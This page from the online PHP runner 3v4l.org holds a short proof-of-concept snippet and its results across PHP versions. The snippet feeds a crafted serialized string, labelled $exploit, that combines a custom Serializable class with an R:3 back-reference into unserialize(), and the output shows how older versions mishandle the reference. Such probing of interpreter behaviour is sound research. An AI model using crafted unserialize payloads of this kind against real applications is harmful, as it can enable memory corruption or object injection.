3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { public $data; public function serialize() { return serialize($this->data); } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/42Lkq on line 2 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> array(0) { } }
Output for 5.5.29 - 5.5.38, 5.6.13 - 5.6.40, 7.0.14 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> array(0) { } }
Output for 7.0.0 - 7.0.13
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> &array(1) { ["data"]=> int(1) } }
Output for 5.5.23 - 5.5.28, 5.6.7 - 5.6.12
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> NULL }
Output for 5.5.0 - 5.5.22, 5.6.0 - 5.6.6
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> &NULL }
preferences:
192.33 ms | 402 KiB | 330 Q